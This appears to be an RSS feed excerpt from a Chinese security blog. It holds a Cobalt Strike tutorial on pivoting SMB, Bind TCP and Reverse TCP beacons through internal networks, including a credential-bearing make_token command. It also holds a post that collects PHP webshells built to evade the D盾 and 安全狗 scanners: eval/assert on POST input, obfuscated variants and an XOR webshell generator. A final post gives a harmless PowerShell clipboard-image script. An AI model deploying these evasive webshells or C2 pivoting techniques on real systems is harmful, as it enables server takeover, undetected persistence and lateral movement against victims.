		<pubDate>Tue, 13 Aug 2019 01:48:09 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cobaltstrike]]></category>
		<guid isPermaLink="false">/?p=755</guid>

					<description><![CDATA[开头先膜膜 m 师傅. Cobalt Strike 中在内网中比较常用的通过 SMB, Bind TCP, Reverse TCP 上线的三种方式. SMB Beacon 这种上线...]]></description>
										<content:encoded><![CDATA[<p>开头先膜膜 m 师傅.</p>
<p>Cobalt Strike 中在内网中比较常用的通过 SMB, Bind TCP, Reverse TCP 上线的三种方式.</p>
<h2>SMB Beacon</h2>
<p>这种上线方式走的是 SMB 协议, 正向连接, 目标机器必须开启 445 端口, 同时利用命名管道来执行命令, 对于那些在内网中无法出网的机器就特别好用. 但是并不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811110335-2.png" alt="" /></p>
<p>不难看出, 这是在已有 Beacon (父 Beacon) 中使用 SMB 进行连接的, 在实际测试中可能会在多个 Beacon 上分别连接对应的 SMB Beacon, 所以溯源就比较困难, 在一定程度上可以达到规避防火墙的效果.</p>
<p>下面新建 SMB Beacon Listener, 其中的 Host 和 Port 并没有什么用.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111009-2.png" alt="" /></p>
<p>在已有 Beacon 中通过 PsExec 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111216-2.png" alt="" /></p>
<p>上线成功.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111446-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811111800-2.png" alt="" /></p>
<p>拓补图中橙色的箭头代表着是通过 SMB 方式连接的, 而箭头的方向表明这是一个正向连接, 另外在 external 后会有 <code>∞∞</code> 的图标, 显示了与目标 Beacon 的连接状态.</p>
<p>因为 SMB 走的是 TCP 连接, 就不存在什么异步执行, 所以 last 就可以无视掉了, 数值也只是距离上一次操作经过的时间.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112126-2.png" alt="" /></p>
<p>对于 SMB Beacon 有两个命令, link 和 unlink.</p>
<p>unlink 可以暂时断开和目标 Beacon 的连接, 但不会退出进程, 而 link 就又会重新连接回去, 两者都需要在发起连接的 Beacon 上执行.</p>
<p>unlink.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112438-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811112503-2.png" alt="" /></p>
<p>图标会从 <code>∞∞</code> 变为 <code>∞ ∞</code>, 箭头上显示 DISCONNECTED, 颜色变为红色, 但进程仍在运行.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112807-2.png" alt="" /></p>
<p>我们在另外一台主机上 link.</p>
<p>这台 DC2 没有加入域, 需要手动创建 Token 来通过 SMB 认证.</p>
<pre><code class="">make_toekn DC2administrator admin7!@#
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190811113620-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811113651-2.png" alt="" /></p>
<p>拓补图中箭头的位置改变了.</p>
<p>也就是说我们可以在任意已有 Beacon 上 link 目标 Beacon, 通过这个父 Beacon 去与目标 Beacon 通讯, 避免了不出网的尴尬. 但同一时间同一 Beacon 只能被 link 一次, 切换父 Beacon 的时候需要在原 Beacon 上先执行一次 unlink 操作, 还得注意凭据能否认证成功.</p>
<h2>Bind TCP Beacon</h2>
<p>Bind TCP Beacon 与 SMB Beacon 差不多, 但它可以直接生成载荷在目标机器上执行.</p>
<p>添加 Bind Tcp Beacon Listener. Host 没有实际用处, Port 写死了是 4444, 更改也没有用, 在目标机器上还是会监听 4444 端口的.</p>
<p><img src="/wp-content/uploads/2019/08/20190811114347-2.png" alt="" /></p>
<p>生成 Stageless Payload.</p>
<p>这里说一下 Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行, 而 Stageless 直接省去了接收 Payload 的步骤. 所以 Stageless 的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征容易被杀软拦截.</p>
<p>不过这里的 Bind TCP Beacon 是正向连接, 而且仅与父 Beacon 通信, 所以就只能使用 Stageless 类型的了.</p>
<p><img src="/wp-content/uploads/2019/08/20190811114755-2.png" alt="" /></p>
<p>执行后要手动去连接, 而 PsExec 方式会直接通过之前选择的 Beacon 上线.</p>
<p>与 SMB Beacon 不同, Bind TCP Beacon 对应的是 connect 和 unlink.</p>
<p><img src="/wp-content/uploads/2019/08/20190811115504-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811115612-2.png" alt="" /></p>
<p>拓补图中的箭头变成绿色的了, 这表明我们是通过 Bind TCP Beacon 连接的.</p>
<p>其余操作与 SMB Beacon 完全相同, 这里就不说了.</p>
<p>但如果在同时 link 和 connect 同一 Beacon 的机器上上执行 unlink, 两者就都会被退掉.</p>
<p><img src="/wp-content/uploads/2019/08/20190811115931-2.png" alt="" /></p>
<h2>Reverse TCP Beacon</h2>
<p>反向连接已有 Beacon 上线, 但这个并不能直接在 Listeners 中添加, 需要右键已有 Beacon &#8211; Pivoting &#8211; Listener 添加.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120511-2.png" alt="" /></p>
<p>指定反向连接的 Listen Host 和 Listen Port. 一般默认即可, 除非机器有多个网卡. 这里意为将该机器作为跳板机, 让上线 Beacon 去连接这台机器, 然后与 C2 通信. 因而内网中每台机器都可以创建一个 Reverse TCP Beacon Listener, 所以溯源时也会有难度.</p>
<p>Reverse TCP Beacon 只能通过 Stageless Payload 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120911-2.png" alt="" /></p>
<p>上线成功.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120954-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811121024-2.png" alt="" /></p>
<p>其中拓补图中箭头的方向变了, 这表明我们是通过反向上线的.</p>
<p>需要注意的是, Reverse 方式是没有 link unlink 一说的, unlink 之后就会直接退出进程, 想重新上线就必须要再次执行 Payload.</p>
<p><img src="/wp-content/uploads/2019/08/20190811121147-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811121520-2.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[2019-8-12更新]过D盾安全狗PHP一句话</title>
		<link>/tools/655.html</link>
					<comments>/tools/655.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 09 Aug 2019 06:22:16 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[webshell]]></category>
		<guid isPermaLink="false">/?p=655</guid>

					<description><![CDATA[准备写一个长期更新的免杀webshell总结 2019-08-12 2019-08-09 疯狂免杀 2019-08-07 &#60;?php function a() { retur...]]></description>
										<content:encoded><![CDATA[<p>准备写一个长期更新的免杀<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>总结</p>
<p>2019-08-12</p>
<p><img src="/wp-content/uploads/2019/08/20190812215816.png" alt="20190812215816" /></p>
<p>2019-08-09</p>
<p>疯狂免杀</p>
<p><img src="/wp-content/uploads/2019/08/20190809144327-1.png" alt="20190809144327" /></p>
<p>2019-08-07</p>
<pre><code class="language-php ">&lt;?php
function a()
{
    return '' + @$_POST['a'];
}

eval(a());
</code></pre>
<p>再来一个三元表达式的</p>
<p><img src="/wp-content/uploads/2019/08/20190807111622.png" alt="20190807111622" /></p>
<p>2019-08-06</p>
<p>常量过D盾</p>
<p>https://secquan.org/Notes/1069997</p>
<pre><code class="language-php ">&lt;?php
sprintf("123");
sprintf("123");
sprintf("123");
$a=$_GET['a'];
define("Test", "$a",true);
assert(TesT);
?&gt;
</code></pre>
<p>另一种思路反序列化过D盾，代码自己写</p>
<p>再一种思路 创建对象重复定义变量成员过D盾</p>
<p>2019-05-30</p>
<p>ASCII码显示不出来的字符做变量过D盾</p>
<p><a href="https://github.com/th1k404/unishell">https://github.com/th1k404/unishell</a></p>
<p><a href="http://ascii.911cha.com/">http://ascii.911cha.com/</a></p>
<pre><code class="language-php ">&lt;?php
if($_GET['␄']){
    $␄=$_GET['␄'];
    @preg_replace("/abcde/e",$␄, "abcdefg");
}
?&gt;
</code></pre>
<p>可以自己修改</p>
<p>2019-05-21</p>
<p><a href="https://github.com/yzddmr6/webshell-venom">https://github.com/yzddmr6/webshell-venom</a></p>
<p>利用随机异或无限免杀d盾</p>
<p>蚁剑插件版请移步:</p>
<p><a href="https://github.com/yzddmr6/as_webshell_venom">https://github.com/yzddmr6/as_webshell_venom</a></p>
<pre><code class="language-php ">&lt;?php
//code by Mr6
error_reporting(0);
    function randomkeys($length)   
{   
   $pattern = '`~-=!@#$%^&amp;*_/+?&lt;&gt;{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
}   
    function randname($length)   
{   
   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
} 
    $str=randomkeys(6); 
    $bname=randname(4);
    $lname=strrev(strtolower($bname));
    $str2="assert";
            echo "&lt;?php n";
            echo "header('HTTP/1.1 404');n";
            echo "class  ".$bname."{ public $c='';nfunction __destruct(){n";
    for ($i=0;$i&lt;6;$i++)
    {
        $name="_".$i;
        $str3[$i]=bin2hex($str[$i] ^$str2[$i]);
        echo "$"."$name=";
    echo "'".$str[$i]."'"."^".""\x".$str3[$i]."";n";
    }
    $aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
    echo $aa;
    echo "n";
    echo '@$db ("$this-&gt;c");}}';
    echo "n";
    echo "${$lname}=new {$bname}();n";
    echo "@${$lname}-&gt;c=$_POST['Mr6'];n";
    echo "?&gt;n";
    @$file=$_GET['file'];
    $html = ob_get_contents();
    if (isset($file)){
    if(file_put_contents($file,$html))
    echo "nnn".$file."   save success!";}
    else {echo "Please input the file name like '?file=xxx.txt'";}
    ?&gt;
</code></pre>
<p>2019-05-11</p>
<pre><code class="language-php ">&lt;?php
function a(){
    return $a=$_POST['1'];
}
@assert(a());
?&gt;
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511171755.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$value=$key = "a";
foreach($_POST as $key=&gt;$value){
    assert($value);
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511183608.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");

for ($x=0; $x&lt;=0; $x++) {
    assert("$x");
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511190505.png" alt="" /></p>
<p><strong>可以发现的规律是当已经定义的变量和循环的变量名一致时，D盾就不是那么敏感了</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/tools/655.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>使用powershell导出剪切板图片</title>
		<link>/tools/681.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 30 Jul 2019 01:51:16 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[图床]]></category>
		<guid isPermaLink="false">/?p=681</guid>

					<description><![CDATA[怎么导出QQ截图的图片到指定位置呢？powershell来帮你 我是一个喜欢记笔记写文章的菜鸡，而使用markdown记笔记最蛋疼的就是图片的存储问题，刚开始使用的是PicGo，可...]]></description>
										<content:encoded><![CDATA[<p>怎么导出QQ截图的图片到指定位置呢？<span class="wpcom_tag_link"><a href="/tags/powershell" title="powershell" target="_blank">powershell</a></span>来帮你</p>
<p>我是一个喜欢记笔记写文章的菜鸡，而使用markdown记笔记最蛋疼的就是图片的存储问题，刚开始使用的是<a href="https://github.com/Molunerfinn/PicGo">PicGo</a>，可以直接截图然后粘贴就是markdown的图片语法，但是使用的是第三方的<span class="wpcom_tag_link"><a href="/tags/%e5%9b%be%e5%ba%8a" title="图床" target="_blank">图床</a></span>。</p>
<p>而我自己原来用第三方图床也就是新浪的图床，后来新浪一波防盗链把我搞得<del>骂骂咧咧</del>措手不及，想了想，图片还是掌握在自己手中比较好，于是就有了本文。</p>
<h1>借助PicGo搞插件？</h1>
<p>刚好自己搭了一个图床http://static.chabug.org/ ，想着参考PicGo的思路，自己写一个插件，然后实现截图 快捷键 粘贴 一套操作，岂不是美滋滋？后来看到了PicGo需要装nodejs才能用插件，再想想nodejs的依赖和蛇皮语法，直接实力劝退，不了了之。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/python" title="python" target="_blank">python</a></span>自己造轮子</h1>
<p>国光师傅写过一篇<a href="https://www.sqlsec.com/2018/06/img.html">Python 编写一个免费简单的图床上传工具二</a>，但是编写思路是采用<code>xclip</code>来操作<code>ubuntu</code>下的剪切板，而苦逼windows党不配这样操作。随卒。</p>
<h1>参考PicGo自己撸</h1>
<p>研究到这一步，实际上最关键的问题在于win下怎么去导出剪切板中的图片。百度谷歌了很多文章，发现都是牛头不照马尾，在此过程中我把PicGo作者的博客翻烂了，发现PicGo作者获取剪切板的图片采用的是命令行调用 https://github.com/PicGo/PicGo-Core/blob/dev/src/utils/clipboard/windows10.ps1 这个脚本。在第一行定义了最关键的项目https://github.com/octan3/img-clipboard-dump。这个就是我们想要的东西！</p>
<p>那么我们的问题就解决了！</p>
<p>看下<strong>dump-clipboard-png.ps1</strong></p>
<pre><code class="language-powershell ">Add-Type -Assembly PresentationCore
$img = [Windows.Clipboard]::GetImage()
if ($img -eq $null) {
    Write-Host "Clipboard contains no image."
    Exit
}

$fcb = new-object Windows.Media.Imaging.FormatConvertedBitmap($img, [Windows.Media.PixelFormats]::Rgb24, $null, 0)
$file = "{0}\clipboard-{1}.png" -f [Environment]::GetFolderPath('MyPictures'),((Get-Date -f s) -replace '[-T:]','')
Write-Host ("`n Found picture. {0}x{1} pixel. Saving to {2}`n" -f $img.PixelWidth, $img.PixelHeight, $file)

$stream = [IO.File]::Open($file, "OpenOrCreate")
$encoder = New-Object Windows.Media.Imaging.PngBitmapEncoder
$encoder.Frames.Add([Windows.Media.Imaging.BitmapFrame]::Create($fcb))
$encoder.Save($stream)
$stream.Dispose()

&amp; explorer.exe /select,$file
</code></pre>
<p>首先获取剪切板的图片，如果没图片就exit，然后新建一个位图对象，新建一个file变量当作文件名，从环境变量中拿到MyPictures的路径，然后写入图片。</p>
<p>相对我们想实现的效果还差一步就是直接向剪切板写入markdown格式的图片链接。我在这放出来我修改之后的脚本。(注意修改路径)</p>
<pre><code class="language-powershell ">Add-Type -Assembly PresentationCore
$img = [Windows.Clipboard]::GetImage()
if ($img -eq $null) {
    Write-Host "Clipboard contains no image."
    Exit
}

$fcb = new-object Windows.Media.Imaging.FormatConvertedBitmap($img, [Windows.Media.PixelFormats]::Rgb24, $null, 0)
$filename = ((Get-Date -f s) -replace '[-T:]','')
$file = "E:/work/myblog/static/img/uploads/{0}.png" -f $filename
Write-Host ("`n Found picture. {0}x{1} pixel. Saving to {2}`n" -f $img.PixelWidth, $img.PixelHeight, $file)

$stream = [IO.File]::Open($file, "OpenOrCreate")
$encoder = New-Object Windows.Media.Imaging.PngBitmapEncoder
$encoder.Frames.Add([Windows.Media.Imaging.BitmapFrame]::Create($fcb))
$encoder.Save($stream)
$stream.Dispose()

$str =  "![{0}](/img/uploads/{1}.png)" -f $filename,$filename
[Windows.Clipboard]::SetText($str)
</code></pre>
<p>然后把<code>dump-clipboard-png.cmd</code>改名为<code>png.cmd</code>和<code>png.ps1</code>放到环境变量里，截图，cmd运行<code>png</code>，那么你的剪切板就会写入一个markdown格式的图片咯。并且图片保存在了你的本地。</p>
<h1>进一步操作</h1>
<p>到现在我们基本的效果已经实现了，不过还是差一点，怎么去实现按下快捷键就导出图片到我们指定的位置呢？参考国光师傅的代码已经写的很清楚了。</p>
<p>https://github.com/sqlsec/imageMD/blob/master/imageMD.py</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
